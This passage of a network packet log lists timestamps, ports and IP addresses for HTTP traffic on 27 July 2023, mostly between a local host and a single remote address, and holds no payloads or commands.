Jul 27, 2023 21:52:57.585402966 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.585438967 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.586138964 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.586184978 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.586203098 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.586229086 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.586236000 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.586270094 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.586273909 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.586308002 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.586313963 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.586353064 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.587069035 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.587116003 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.587156057 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.587194920 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.587227106 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.587270975 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.587302923 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.587892056 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.587958097 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.587973118 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.587997913 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.588004112 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.588041067 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.588047028 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.588082075 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.588083982 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.588124990 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.588831902 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.588877916 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.588893890 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.588918924 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.588923931 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.588958979 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.588964939 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.588998079 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.589009047 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.589046001 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.589783907 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.589831114 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.589835882 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.589870930 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.589884043 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.589910984 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.589910984 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.589952946 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.589956999 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.589994907 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.590698957 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.590744972 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.590754986 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.590790033 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.590791941 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.590822935 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.590833902 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.590868950 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.591360092 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.591402054 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.591422081 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.591440916 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.591458082 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.591480017 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.591491938 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.591523886 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.591536999 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.591582060 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.592319965 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.592366934 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.592374086 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.592407942 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.592410088 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.592449903 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.592449903 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.592490911 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.592499971 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.592534065 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.593296051 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.593341112 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.593353033 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.593379974 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.593384027 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.593417883 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.593424082 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.593456030 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.593460083 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.593497038 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.594141960 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.594182968 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.594197035 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.594211102 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.594223022 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.594240904 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.594252110 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.594279051 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.600434065 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.600472927 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.600527048 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.600563049 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.600594997 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.600608110 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.600631952 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.600658894 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.600677967 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.600688934 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.600707054 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.600716114 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.600743055 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.600763083 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.601505995 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.601541042 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.601563931 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.601583958 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.601584911 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.601613045 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.601624966 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.601641893 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.601653099 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.601682901 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.602432966 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.602487087 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.602514982 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.602514982 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.602539062 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.602545023 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.602556944 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.602575064 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.602587938 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.602617025 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.603285074 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.603321075 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.603349924 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.603348970 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.603370905 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.603378057 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.603391886 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.603406906 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.603420973 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.603447914 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.604161024 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.604197025 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.604227066 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.604238987 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.604254007 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.604279995 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.604290009 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.604295969 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.604309082 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.604341030 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.605053902 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.605091095 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.605112076 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.605118990 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.605135918 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.605149031 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.605168104 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.605178118 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.605192900 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.605221033 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.605911016 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.605969906 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.605984926 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.606000900 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.606014013 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.606030941 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.606044054 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.606060982 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.606072903 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.606103897 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.606735945 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.606770992 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.606790066 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.606801033 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.606813908 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.606828928 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.606842995 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.606857061 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.606870890 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.606885910 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.606900930 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.606928110 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.607698917 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.607733011 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.607755899 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.607763052 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.607793093 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.607811928 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.608163118 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.608196974 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.608217955 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.608237982 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.608239889 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.608279943 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.608298063 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.608330965 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.608356953 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.608359098 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.608386993 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.608427048 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.609169960 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.609203100 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.609224081 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.609230042 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.609246016 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.609258890 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.609275103 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.609286070 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.609301090 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.609313011 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.609324932 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.609354973 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.610177040 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.610203981 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.610228062 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.610232115 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.610254049 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.610261917 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.610275030 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.610287905 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.610306025 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.610311985 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.610331059 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.610354900 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.611057043 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.611085892 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.611109972 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.611109972 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.611130953 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.611135960 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.611152887 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.611160994 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.611181974 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.611208916 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.611243963 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.611881018 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.611912966 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.611934900 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.611942053 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.611958027 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.611963987 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.611984968 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.611984968 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.612004042 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.612008095 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.612027884 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.612050056 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.612742901 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.612772942 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.612792969 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.612793922 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.612813950 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.612816095 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.612837076 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.612837076 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.612859011 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.612869024 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.612881899 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.612890959 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.612910986 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.612930059 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.613694906 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.613724947 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.613754988 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.613754988 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.613780022 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.613780975 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.613800049 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.613802910 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.613821030 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.613825083 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.613843918 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.613845110 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.613864899 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.613886118 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.614343882 CEST	80	49814	170.82.174.30	192.168.2.4
Jul 27, 2023 21:52:57.614598989 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.614629984 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.614649057 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.614655018 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.614675045 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.614675999 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.614696980 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.614706039 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.614716053 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.614720106 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.614737988 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.614739895 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.614759922 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.614779949 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.615504980 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.615526915 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.615545988 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.615566015 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.615586042 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.615609884 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.615609884 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.615638971 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.615654945 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.615659952 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.615683079 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.615684986 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.615720034 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.615730047 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.616441011 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.616466999 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.616493940 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.616497993 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.616511106 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.616516113 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.616538048 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.617001057 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.617028952 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.617038965 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.617049932 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.617057085 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.617077112 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.617091894 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.617110014 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.617111921 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.617135048 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.617136955 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.617155075 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.617158890 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.617183924 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.617202997 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.617760897 CEST	80	49820	202.254.236.40	192.168.2.4
Jul 27, 2023 21:52:57.617949963 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.617980003 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618007898 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618012905 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618037939 CEST	49806	80	192.168.2.4	172.67.70.22
Jul 27, 2023 21:52:57.618040085 CEST	80	49806	172.67.70.22	192.168.2.4
Jul 27, 2023 21:52:57.618057966 CEST	49806	80	192.168.2.4	172.67.70.22
